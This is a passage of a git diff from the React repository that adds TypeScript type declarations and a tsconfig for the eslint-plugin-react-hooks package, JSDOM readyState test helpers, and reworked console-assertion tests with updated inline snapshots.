+ *
+ * This also adds support for the AST mutation that the Exhaustive deps rule does to add parent nodes.
+ */
+declare module 'estree' {
+  // The Exhaustive deps rule mutates the AST to add parent nodes for efficient traversal.
+  // We need to augment the `estree` types to support that.
+  interface BaseNode {
+    parent?: Node;
+  }
+
+  // Adding types that aren't built-in to estree or estree-jsx.
+  // Namely, the specific TS and Flow types that we're using.
+  interface AsExpression extends BaseExpression {
+    type: 'AsExpression';
+    expression: Expression | Identifier;
+  }
+
+  interface OptionalCallExpression extends BaseCallExpression {
+    type: 'OptionalCallExpression';
+  }
+
+  interface OptionalMemberExpression extends MemberExpression {
+    type: 'OptionalMemberExpression';
+  }
+
+  interface TSAsExpression extends BaseExpression {
+    type: 'TSAsExpression';
+    expression: Expression | Identifier;
+  }
+
+  interface TSTypeQuery extends BaseNode {
+    type: 'TSTypeQuery';
+    exprName: Identifier;
+  }
+
+  interface TSTypeReference extends BaseNode {
+    type: 'TSTypeReference';
+    typeName: Identifier;
+  }
+
+  interface TypeCastExpression extends BaseExpression {
+    type: 'TypeCastExpression';
+    expression: Expression | Identifier;
+  }
+
+  // Extend the set of known Expression types
+  interface ExpressionMap {
+    AsExpression: AsExpression;
+    OptionalCallExpression: OptionalCallExpression;
+    OptionalMemberExpression: OptionalMemberExpression;
+    TSAsExpression: TSAsExpression;
+    TypeCastExpression: TypeCastExpression;
+  }
+
+  // Extend the set of known Node types
+  interface NodeMap {
+    AsExpression: AsExpression;
+    OptionalCallExpression: OptionalCallExpression;
+    OptionalMemberExpression: OptionalMemberExpression;
+    TSAsExpression: TSAsExpression;
+    TSTypeQuery: TSTypeQuery;
+    TSTypeReference: TSTypeReference;
+    TypeCastExpression: TypeCastExpression;
+  }
+}
diff --git a/packages/eslint-plugin-react-hooks/src/types/global.d.ts b/packages/eslint-plugin-react-hooks/src/types/global.d.ts
new file mode 100644
index 000000000000..b334f17ee538
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/types/global.d.ts
@@ -0,0 +1,4 @@
+// In order to support the __EXPERIMENTAL__ global in TypeScript,
+// we need to declare it here.  The value of this is set in both
+// the jest setup and CI build
+declare const __EXPERIMENTAL__: boolean;
diff --git a/packages/eslint-plugin-react-hooks/src/types/hermes-eslint.d.ts b/packages/eslint-plugin-react-hooks/src/types/hermes-eslint.d.ts
new file mode 100644
index 000000000000..280b1e1e00a2
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/types/hermes-eslint.d.ts
@@ -0,0 +1,58 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+// v0.17.1
+declare module 'hermes-eslint' {
+  // https://fburl.com/2vikhmaa
+  type ParseForESLintOptions = {
+    /**
+     * Whether the whole script is executed under node.js environment.
+     * When enabled, the scope manager adds a function scope immediately following the global scope.
+     * Defaults to `false`.
+     */
+    globalReturn: boolean;
+
+    /**
+     * The identifier that's used for JSX Element creation (after transpilation).
+     * This should not be a member expression - just the root identifier (i.e. use "React" instead of "React.createElement").
+     *
+     * To use the new global JSX transform function, you can explicitly set this to `null`.
+     *
+     * Defaults to `"React"`.
+     */
+    jsxPragma: string | null;
+
+    /**
+     * The identifier that's used for JSX fragment elements (after transpilation).
+     * If `null`, assumes transpilation will always use a member on `jsxFactory` (i.e. React.Fragment).
+     * This should not be a member expression - just the root identifier (i.e. use "h" instead of "h.Fragment").
+     * Defaults to `null`.
+     */
+    jsxFragmentName: string | null;
+
+    /**
+     * The source type of the script.
+     */
+    sourceType: 'script' | 'module';
+
+    /**
+     * Ignore <fbt /> JSX elements when adding references to the module-level `React` variable.
+     * FBT is JSX that's transformed to non-JSX and thus references differently
+     *
+     * https://facebook.github.io/fbt/
+     */
+    fbt: boolean;
+
+    /**
+     * Support experimental component syntax
+     *
+     * Defaults to `true`.
+     */
+    enableExperimentalComponentSyntax?: boolean;
+  };
+  export function parse(code: string, options?: Partial<ParseForESLintOptions>);
+}
diff --git a/packages/eslint-plugin-react-hooks/src/types/hermes-parser.d.ts b/packages/eslint-plugin-react-hooks/src/types/hermes-parser.d.ts
new file mode 100644
index 000000000000..b624caf19c54
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/src/types/hermes-parser.d.ts
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+// v0.17.1
+declare module 'hermes-parser' {
+  type HermesParserOptions = {
+    allowReturnOutsideFunction?: boolean;
+    babel?: boolean;
+    flow?: 'all' | 'detect';
+    enableExperimentalComponentSyntax?: boolean;
+    sourceFilename?: string;
+    sourceType?: 'module' | 'script' | 'unambiguous';
+    tokens?: boolean;
+  };
+  export function parse(code: string, options: Partial<HermesParserOptions>);
+}
diff --git a/packages/eslint-plugin-react-hooks/tsconfig.json b/packages/eslint-plugin-react-hooks/tsconfig.json
new file mode 100644
index 000000000000..22c36e50eb6e
--- /dev/null
+++ b/packages/eslint-plugin-react-hooks/tsconfig.json
@@ -0,0 +1,34 @@
+{
+  "extends": "@tsconfig/strictest/tsconfig.json",
+  "compilerOptions": {
+    "module": "ES2015",
+    "target": "ES2015",
+    "moduleResolution": "Bundler",
+    "lib": ["ES2020", "dom"],
+    "sourceMap": false,
+    "types": ["estree-jsx", "node"],
+    "downlevelIteration": true,
+    "paths": {
+      "babel-plugin-react-compiler": ["../../compiler/packages/babel-plugin-react-compiler/src"],
+      "shared/*": ["../shared/*"]
+    },
+    "jsx": "react-jsxdev",
+    "rootDir": "../..",
+    "baseUrl": ".",
+    "typeRoots": [
+      "../../node_modules/@types"
+    ],
+    "checkJs": false,
+    "allowJs": false,
+
+    // weaken strictness from preset
+    "importsNotUsedAsValues": "remove",
+    "noUncheckedIndexedAccess": false,
+    "noUnusedParameters": false,
+    "useUnknownInCatchVariables": true,
+    // ideally turn off only during dev, or on a per-file basis
+    "noUnusedLocals": false,
+    "removeComments": true,
+  },
+  "include": ["src/**/*.ts", "__tests__/**/*.ts"]
+}
diff --git a/packages/internal-test-utils/ReactInternalTestUtils.js b/packages/internal-test-utils/ReactInternalTestUtils.js
index 4d2fa3789085..eab69112d4a1 100644
--- a/packages/internal-test-utils/ReactInternalTestUtils.js
+++ b/packages/internal-test-utils/ReactInternalTestUtils.js
@@ -16,7 +16,8 @@ import {
   clearErrors,
   createLogAssertion,
 } from './consoleMock';
-export {act} from './internalAct';
+export {getDebugInfo} from './debugInfo';
+export {act, serverAct} from './internalAct';
 const {assertConsoleLogsCleared} = require('internal-test-utils/consoleMock');
 
 import {thrownErrors, actingUpdatesScopeDepth} from './internalAct';
@@ -121,7 +122,6 @@ ${diff(expectedLog, actualLog)}
 
 function aggregateErrors(errors: Array<mixed>): mixed {
   if (errors.length > 1 && typeof AggregateError === 'function') {
-    // eslint-disable-next-line no-undef
     return new AggregateError(errors);
   }
   return errors[0];
diff --git a/packages/internal-test-utils/ReactJSDOM.js b/packages/internal-test-utils/ReactJSDOM.js
new file mode 100644
index 000000000000..12ce62371822
--- /dev/null
+++ b/packages/internal-test-utils/ReactJSDOM.js
@@ -0,0 +1,20 @@
+const JSDOMModule = jest.requireActual('jsdom');
+
+const OriginalJSDOM = JSDOMModule.JSDOM;
+
+module.exports = JSDOMModule;
+module.exports.JSDOM = function JSDOM() {
+  let result;
+  if (new.target) {
+    result = Reflect.construct(OriginalJSDOM, arguments);
+  } else {
+    result = JSDOM.apply(undefined, arguments);
+  }
+
+  require('./ReactJSDOMUtils').setupDocumentReadyState(
+    result.window.document,
+    result.window.Event,
+  );
+
+  return result;
+};
diff --git a/packages/internal-test-utils/ReactJSDOMUtils.js b/packages/internal-test-utils/ReactJSDOMUtils.js
new file mode 100644
index 000000000000..04a0d18fc422
--- /dev/null
+++ b/packages/internal-test-utils/ReactJSDOMUtils.js
@@ -0,0 +1,33 @@
+export function setupDocumentReadyState(
+  document: Document,
+  Event: typeof Event,
+) {
+  let readyState: 0 | 1 | 2 = 0;
+  Object.defineProperty(document, 'readyState', {
+    get() {
+      switch (readyState) {
+        case 0:
+          return 'loading';
+        case 1:
+          return 'interactive';
+        case 2:
+          return 'complete';
+      }
+    },
+    set(value) {
+      if (value === 'interactive' && readyState < 1) {
+        readyState = 1;
+        document.dispatchEvent(new Event('readystatechange'));
+      } else if (value === 'complete' && readyState < 2) {
+        readyState = 2;
+        document.dispatchEvent(new Event('readystatechange'));
+        document.dispatchEvent(new Event('DOMContentLoaded'));
+      } else if (value === 'loading') {
+        // We allow resetting the readyState to loading mostly for pragamtism.
+        // tests that use this environment don't reset the document between tests.
+        readyState = 0;
+      }
+    },
+    configurable: true,
+  });
+}
diff --git a/packages/internal-test-utils/__tests__/ReactInternalTestUtils-test.js b/packages/internal-test-utils/__tests__/ReactInternalTestUtils-test.js
index e2a8f34cc9e3..730cb358aa6e 100644
--- a/packages/internal-test-utils/__tests__/ReactInternalTestUtils-test.js
+++ b/packages/internal-test-utils/__tests__/ReactInternalTestUtils-test.js
@@ -13,7 +13,6 @@
 const React = require('react');
 const stripAnsi = require('strip-ansi');
 const {startTransition, useDeferredValue} = React;
-const chalk = require('chalk');
 const ReactNoop = require('react-noop-renderer');
 const {
   waitFor,
@@ -25,7 +24,7 @@ const {
 const act = require('internal-test-utils').act;
 const Scheduler = require('scheduler/unstable_mock');
 const {
-  flushAllUnexpectedConsoleCalls,
+  assertConsoleLogsCleared,
   resetAllUnexpectedConsoleCalls,
   patchConsoleMethods,
 } = require('../consoleMock');
@@ -205,16 +204,17 @@ describe('ReactInternalTestUtils console mocks', () => {
     it('should fail if not asserted', () => {
       expect(() => {
         console.log('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toThrow(`Expected test not to call ${chalk.bold('console.log()')}.`);
+        assertConsoleLogsCleared();
+      }).toThrow(`console.log was called without assertConsoleLogDev`);
     });
 
-    // @gate __DEV__
     it('should not fail if mocked with spyOnDev', () => {
       spyOnDev(console, 'log').mockImplementation(() => {});
       expect(() => {
-        console.log('hit');
-        flushAllUnexpectedConsoleCalls();
+        if (__DEV__) {
+          console.log('hit');
+        }
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -223,7 +223,7 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnProd(console, 'log').mockImplementation(() => {});
       expect(() => {
         console.log('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -231,33 +231,26 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnDevAndProd(console, 'log').mockImplementation(() => {});
       expect(() => {
         console.log('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
-
-    // @gate __DEV__
-    it('should not fail with toLogDev', () => {
-      expect(() => {
-        console.log('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toLogDev(['hit']);
-    });
   });
 
   describe('console.warn', () => {
     it('should fail if not asserted', () => {
       expect(() => {
         console.warn('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toThrow(`Expected test not to call ${chalk.bold('console.warn()')}.`);
+        assertConsoleLogsCleared();
+      }).toThrow('console.warn was called without assertConsoleWarnDev');
     });
 
-    // @gate __DEV__
     it('should not fail if mocked with spyOnDev', () => {
       spyOnDev(console, 'warn').mockImplementation(() => {});
       expect(() => {
-        console.warn('hit');
-        flushAllUnexpectedConsoleCalls();
+        if (__DEV__) {
+          console.warn('hit');
+        }
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -266,7 +259,7 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnProd(console, 'warn').mockImplementation(() => {});
       expect(() => {
         console.warn('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -274,33 +267,26 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnDevAndProd(console, 'warn').mockImplementation(() => {});
       expect(() => {
         console.warn('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
-
-    // @gate __DEV__
-    it('should not fail with toWarnDev', () => {
-      expect(() => {
-        console.warn('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toWarnDev(['hit'], {withoutStack: true});
-    });
   });
 
   describe('console.error', () => {
     it('should fail if console.error is not asserted', () => {
       expect(() => {
         console.error('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toThrow(`Expected test not to call ${chalk.bold('console.error()')}.`);
+        assertConsoleLogsCleared();
+      }).toThrow('console.error was called without assertConsoleErrorDev');
     });
 
-    // @gate __DEV__
     it('should not fail if mocked with spyOnDev', () => {
       spyOnDev(console, 'error').mockImplementation(() => {});
       expect(() => {
-        console.error('hit');
-        flushAllUnexpectedConsoleCalls();
+        if (__DEV__) {
+          console.error('hit');
+        }
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -309,7 +295,7 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnProd(console, 'error').mockImplementation(() => {});
       expect(() => {
         console.error('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
 
@@ -317,17 +303,9 @@ describe('ReactInternalTestUtils console mocks', () => {
       spyOnDevAndProd(console, 'error').mockImplementation(() => {});
       expect(() => {
         console.error('hit');
-        flushAllUnexpectedConsoleCalls();
+        assertConsoleLogsCleared();
       }).not.toThrow();
     });
-
-    // @gate __DEV__
-    it('should not fail with toErrorDev', () => {
-      expect(() => {
-        console.error('hit');
-        flushAllUnexpectedConsoleCalls();
-      }).toErrorDev(['hit'], {withoutStack: true});
-    });
   });
 });
 
@@ -361,17 +339,19 @@ describe('ReactInternalTestUtils console assertions', () => {
   });
 
   describe('assertConsoleLogDev', () => {
-    // @gate __DEV__
     it('passes for a single log', () => {
-      console.log('Hello');
+      if (__DEV__) {
+        console.log('Hello');
+      }
       assertConsoleLogDev(['Hello']);
     });
 
-    // @gate __DEV__
     it('passes for multiple logs', () => {
-      console.log('Hello');
-      console.log('Good day');
-      console.log('Bye');
+      if (__DEV__) {
+        console.log('Hello');
+        console.log('Good day');
+        console.log('Bye');
+      }
       assertConsoleLogDev(['Hello', 'Good day', 'Bye']);
     });
 
@@ -588,36 +568,6 @@ describe('ReactInternalTestUtils console assertions', () => {
       `);
     });
 
-    // @gate __DEV__
-    it('fails if local withoutStack passed to assertConsoleLogDev', () => {
-      const message = expectToThrowFailure(() => {
-        console.log('Hello');
-        assertConsoleLogDev([['Hello', {withoutStack: true}]]);
-      });
-
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleLogDev(expected)
-
-        Do not pass withoutStack to assertConsoleLogDev logs, console.log does not have component stacks."
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if global withoutStack passed to assertConsoleLogDev', () => {
-      const message = expectToThrowFailure(() => {
-        console.log('Hello');
-        assertConsoleLogDev(['Hello'], {withoutStack: true});
-      });
-
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleLogDev(expected)
-
-        Do not pass withoutStack to assertConsoleLogDev, console.log does not have component stacks."
-      `);
-
-      assertConsoleLogDev(['Hello']);
-    });
-
     // @gate __DEV__
     it('fails if the args is greater than %s argument number', () => {
       const message = expectToThrowFailure(() => {
@@ -866,34 +816,53 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
       });
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.log was called without assertConsoleLogDev:
-        + Not asserted
-        + Not asserted
-        + Not asserted
+          console.log was called without assertConsoleLogDev:
+          + Not asserted
+          + Not asserted
+          + Not asserted
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
+
+          console.log was called without assertConsoleLogDev:
+          + Not asserted
+          + Not asserted
+          + Not asserted
+
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      }
 
       expect(root).toMatchRenderedOutput(<div>foobarbaz</div>);
     });
   });
 
   describe('assertConsoleWarnDev', () => {
-    // @gate __DEV__
     it('passes if an warning contains a stack', () => {
-      console.warn('Hello\n    in div');
-      assertConsoleWarnDev(['Hello']);
+      if (__DEV__) {
+        console.warn('Hello\n    in div');
+      }
+      assertConsoleWarnDev(['Hello\n    in div']);
     });
 
-    // @gate __DEV__
     it('passes if all warnings contain a stack', () => {
-      console.warn('Hello\n    in div');
-      console.warn('Good day\n    in div');
-      console.warn('Bye\n    in div');
-      assertConsoleWarnDev(['Hello', 'Good day', 'Bye']);
+      if (__DEV__) {
+        console.warn('Hello\n    in div');
+        console.warn('Good day\n    in div');
+        console.warn('Bye\n    in div');
+      }
+      assertConsoleWarnDev([
+        'Hello\n    in div',
+        'Good day\n    in div',
+        'Bye\n    in div',
+      ]);
     });
 
     it('fails if act is called without assertConsoleWarnDev', async () => {
@@ -922,16 +891,32 @@ describe('ReactInternalTestUtils console assertions', () => {
         });
       });
 
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.warn was called without assertConsoleWarnDev:
-        + A
-        + B
-        + C
+          console.warn was called without assertConsoleWarnDev:
+          + A
+          + B
+          + C
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
+
+          console.warn was called without assertConsoleWarnDev:
+          + A%s,
+          +     in App (at **)
+          + B%s,
+          +     in App (at **)
+          + C%s,
+          +     in App (at **)
+
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      }
     });
 
     it('fails if act is called without any assertConsoleDev helpers', async () => {
@@ -962,26 +947,55 @@ describe('ReactInternalTestUtils console assertions', () => {
         });
       });
 
-      expect(message).toMatchInlineSnapshot(`
-        "asserConsoleLogsCleared(expected)
+      if (!__DEV__) {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
 
-        console.log was called without assertConsoleLogDev:
-        + A
-        + B
-        + C
+          console.log was called without assertConsoleLogDev:
+          + A
+          + B
+          + C
 
-        console.warn was called without assertConsoleWarnDev:
-        + A
-        + B
-        + C
+          console.warn was called without assertConsoleWarnDev:
+          + A
+          + B
+          + C
 
-        console.error was called without assertConsoleErrorDev:
-        + A
-        + B
-        + C
+          console.error was called without assertConsoleErrorDev:
+          + A
+          + B
+          + C
 
-        You must call one of the assertConsoleDev helpers between each act call."
-      `);
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      } else {
+        expect(message).toMatchInlineSnapshot(`
+          "asserConsoleLogsCleared(expected)
+
+          console.log was called without assertConsoleLogDev:
+          + A
+          + B
+          + C
+
+          console.warn was called without assertConsoleWarnDev:
+          + A%s,
+          +     in App (at **)
+          + B%s,
+          +     in App (at **)
+          + C%s,
+          +     in App (at **)
+
+          console.error was called without assertConsoleErrorDev:
+          + A%s,
+          +     in App (at **)
+          + B%s,
+          +     in App (at **)
+          + C%s,
+          +     in App (at **)
+
+          You must call one of the assertConsoleDev helpers between each act call."
+        `);
+      }
     });
 
     // @gate __DEV__
@@ -1002,8 +1016,8 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Hi
         - Wow
         - Bye
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1025,8 +1039,8 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Hi
         - Wow
         - Bye
-        + Hi  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1035,7 +1049,11 @@ describe('ReactInternalTestUtils console assertions', () => {
       const message = expectToThrowFailure(() => {
         console.warn('Hi \n    in div');
         console.warn('Wow \n    in div');
-        assertConsoleWarnDev(['Hi', 'Wow', 'Bye']);
+        assertConsoleWarnDev([
+          'Hi \n    in div',
+          'Wow \n    in div',
+          'Bye \n    in div',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleWarnDev(expected)
@@ -1045,11 +1063,11 @@ describe('ReactInternalTestUtils console assertions', () => {
         - Expected warnings
         + Received warnings
 
-        - Hi
-        - Wow
-        - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>"
+        - Hi      in div
+        - Wow      in div
+        - Bye      in div
+        + Hi      in div (at **)
+        + Wow      in div (at **)"
       `);
     });
 
@@ -1071,9 +1089,9 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Wow
         - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1095,9 +1113,9 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Hi
         - Bye
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1119,26 +1137,9 @@ describe('ReactInternalTestUtils console assertions', () => {
 
         - Hi
         - Wow
-        + Hi  <component stack>
-        + Wow  <component stack>
-        + Bye  <component stack>"
-      `);
-    });
-
-    // @gate __DEV__
-    it('fails if only warning does not contain a stack', () => {
-      const message = expectToThrowFailure(() => {
-        console.warn('Hello');
-        assertConsoleWarnDev(['Hello']);
-      });
-      expect(message).toMatchInlineSnapshot(`
-        "assertConsoleWarnDev(expected)
-
-        Missing component stack for:
-          "Hello"
-
-        If this warning should omit a component stack, pass [log, {withoutStack: true}].
-        If all warnings should omit the component stack, add {withoutStack: true} to the assertConsoleWarnDev call."
+        + Hi      in div (at **)
+        + Wow      in div (at **)
+        + Bye      in div (at **)"
       `);
     });
 
@@ -1148,16 +1149,26 @@ describe('ReactInternalTestUtils console assertions', () => {
         console.warn('Hello');
         console.warn('Good day\n    in div');
         console.warn('Bye\n    in div');
-        assertConsoleWarnDev(['Hello', 'Good day', 'Bye']);
+        assertConsoleWarnDev([
+          'Hello\n    in div',
+          'Good day\n    in div',
+          'Bye\n    in div',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleWarnDev(expected)
 
-        Missing component stack for:
-          "Hello"
+        Unexpected warning(s) recorded.
+
+        - Expected warnings
+        + Received warnings
 
-        If this warning should omit a component stack, pass [log, {withoutStack: true}].
-        If all warnings should omit the component stack, add {withoutStack: true} to the assertConsoleWarnDev call."
+        - Hello     in div
+        - Good day     in div
+        - Bye     in div
+        + Hello
+        + Good day     in div (at **)
+        + Bye     in div (at **)"
       `);
     });
 
@@ -1167,16 +1178,26 @@ describe('ReactInternalTestUtils console assertions', () => {
         console.warn('Hello\n    in div');
         console.warn('Good day');
         console.warn('Bye\n    in div');
-        assertConsoleWarnDev(['Hello', 'Good day', 'Bye']);
+        assertConsoleWarnDev([
+          'Hello\n    in div',
+          'Good day\n    in div',
+          'Bye\n    in div',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleWarnDev(expected)
 
-        Missing component stack for:
-          "Good day"
+        Unexpected warning(s) recorded.
+
+        - Expected warnings
+        + Received warnings
 
-        If this warning should omit a component stack, pass [log, {withoutStack: true}].
-        If all warnings should omit the component stack, add {withoutStack: true} to the assertConsoleWarnDev call."
+        - Hello     in div
+        - Good day     in div
+        - Bye     in div
+        + Hello     in div (at **)
+        + Good day
+        + Bye     in div (at **)"
       `);
     });
 
@@ -1186,403 +1207,136 @@ describe('ReactInternalTestUtils console assertions', () => {
         console.warn('Hello\n    in div');
         console.warn('Good day\n    in div');
         console.warn('Bye');
-        assertConsoleWarnDev(['Hello', 'Good day', 'Bye']);
+        assertConsoleWarnDev([
+          'Hello\n    in div',
+          'Good day\n    in div',
+          'Bye\n    in div',
+        ]);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleWarnDev(expected)
 
-        Missing component stack for:
-          "Bye"
+        Unexpected warning(s) recorded.
+
+        - Expected warnings
+        + Received warnings
 
-        If this warning should omit a component stack, pass [log, {withoutStack: true}].
-        If all warnings should omit the component stack, add {withoutStack: true} to the assertConsoleWarnDev call."
+        - Hello     in div
+        - Good day     in div
+        - Bye     in div
+        + Hello     in div (at **)
+        + Good day     in div (at **)
+        + Bye"
       `);
     });
 
     // @gate __DEV__
-    it('fails if all warnings do not contain a stack', () => {
+    it('fails if the args is greater than %s argument number', () => {
       const message = expectToThrowFailure(() => {
-        console.warn('Hello');
-        console.warn('Good day');
-        console.warn('Bye');
-        assertConsoleWarnDev(['Hello', 'Good day', 'Bye']);
+        console.warn('Hi %s', 'Sara', 'extra');
+        assertConsoleWarnDev(['Hi']);
       });
       expect(message).toMatchInlineSnapshot(`
         "assertConsoleWarnDev(expected)
 
-        Missing component stack for:
-          "Hello"
-
-        Missing component stack for:
-          "Good day"
-
-        Missing component stack for:
-          "Bye"
-
-        If this warning should omit a component stack, pass [log, {withoutStack: true}].
-        If all warnings should omit the component stack, add {withoutStack: true} to the assertConsoleWarnDev call."
+        Received 2 arguments for a message with 1 placeholders:
+          "Hi %s""
       `);
     });
 
-    describe('global withoutStack', () => {
-      // @gate __DEV__
-      it('passes if warnings without stack explicitly opt out', () => {
-        console.warn('Hello');
-        assertConsoleWarnDev(['Hello'], {withoutStack: true});
-
-        console.warn('Hello');
-        console.warn('Good day');
-        console.warn('Bye');
-
-        assertConsoleWarnDev(['Hello', 'Good day', 'Bye'], {
-          withoutStack: true,
-        });
+    // @gate __DEV__
+    it('fails if the args is greater than %s argument number for multiple warnings', () => {
+      const message = expectToThrowFailure(() => {
+        console.warn('Hi %s', 'Sara', 'extra');
+        console.warn('Bye %s', 'Sara', 'extra');
+        assertConsoleWarnDev(['Hi', 'Bye']);
       });
+      expect(message).toMatchInlineSnapshot(`
+        "assertConsoleWarnDev(expected)
 
-      // @gate __DEV__
-      it('fails if withoutStack is invalid null value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev(['Hi'], {withoutStack: null});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
+        Received 2 arguments for a message with 1 placeholders:
+          "Hi %s"
 
-          The second argument must be {withoutStack: true}.
+        Received 2 arguments for a message with 1 placeholders:
+          "Bye %s""
+      `);
+    });
 
-          Instead received {"withoutStack":null}."
-        `);
-        assertConsoleWarnDev(['Hi'], {withoutStack: true});
+    // @gate __DEV__
+    it('fails if the %s argument number is greater than args', () => {
+      const message = expectToThrowFailure(() => {
+        console.warn('Hi %s');
+        assertConsoleWarnDev(['Hi']);
       });
+      expect(message).toMatchInlineSnapshot(`
+        "assertConsoleWarnDev(expected)
 
-      // @gate __DEV__
-      it('fails if withoutStack is invalid {} value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev(['Hi'], {withoutStack: {}});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
-
-          The second argument must be {withoutStack: true}.
+        Received 0 arguments for a message with 1 placeholders:
+          "Hi %s""
+      `);
+    });
 
-          Instead received {"withoutStack":{}}."
-        `);
-        assertConsoleWarnDev(['Hi'], {withoutStack: true});
+    // @gate __DEV__
+    it('fails if the %s argument number is greater than args for multiple warnings', () => {
+      const message = expectToThrowFailure(() => {
+        console.warn('Hi %s');
+        console.warn('Bye %s');
+        assertConsoleWarnDev(['Hi', 'Bye']);
       });
+      expect(message).toMatchInlineSnapshot(`
+        "assertConsoleWarnDev(expected)
 
-      // @gate __DEV__
-      it('fails if withoutStack is invalid string value', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hi');
-          assertConsoleWarnDev(['Hi'], {withoutStack: 'haha'});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
+        Received 0 arguments for a message with 1 placeholders:
+          "Hi %s"
 
-          The second argument must be {withoutStack: true}.
+        Received 0 arguments for a message with 1 placeholders:
+          "Bye %s""
+      `);
+    });
 
-          Instead received {"withoutStack":"haha"}."
-        `);
-        assertConsoleWarnDev(['Hi'], {withoutStack: true});
+    // @gate __DEV__
+    it('fails if component stack is passed twice', () => {
+      const message = expectToThrowFailure(() => {
+        console.warn('Hi %s%s', '\n    in div', '\n    in div');
+        assertConsoleWarnDev(['Hi \n    in div (at **)']);
       });
+      expect(message).toMatchInlineSnapshot(`
+        "assertConsoleWarnDev(expected)
 
-      // @gate __DEV__
-      it('fails if only warning is not expected to have a stack, but does', () => {
-        const message = expectToThrowFailure(() => {
-          console.warn('Hello\n    in div');
-          assertConsoleWarnDev(['Hello'], {withoutStack: true});
-        });
-        expect(message).toMatchInlineSnapshot(`
-          "assertConsoleWarnDev(expected)
+        Unexpected warning(s) recorded.
 
-          Unexpected component stack for:
-            "Hello <component stack>"
+        - Expected warnings
+        + Received warnings
 
-          If this warning should include a component stack, remove {withoutStack: true} from this warning.
-          If all warnings should include the component stack, you may need to remove {withoutStack: true} from the assertConsoleWarnDev call."
-        `);
+          Hi      in div (at **)
+        +     in div (at **)"
+      `);
+    });
+
+    // @gate __DEV__
+    it('fails if multiple logs pass component stack twice', () => {
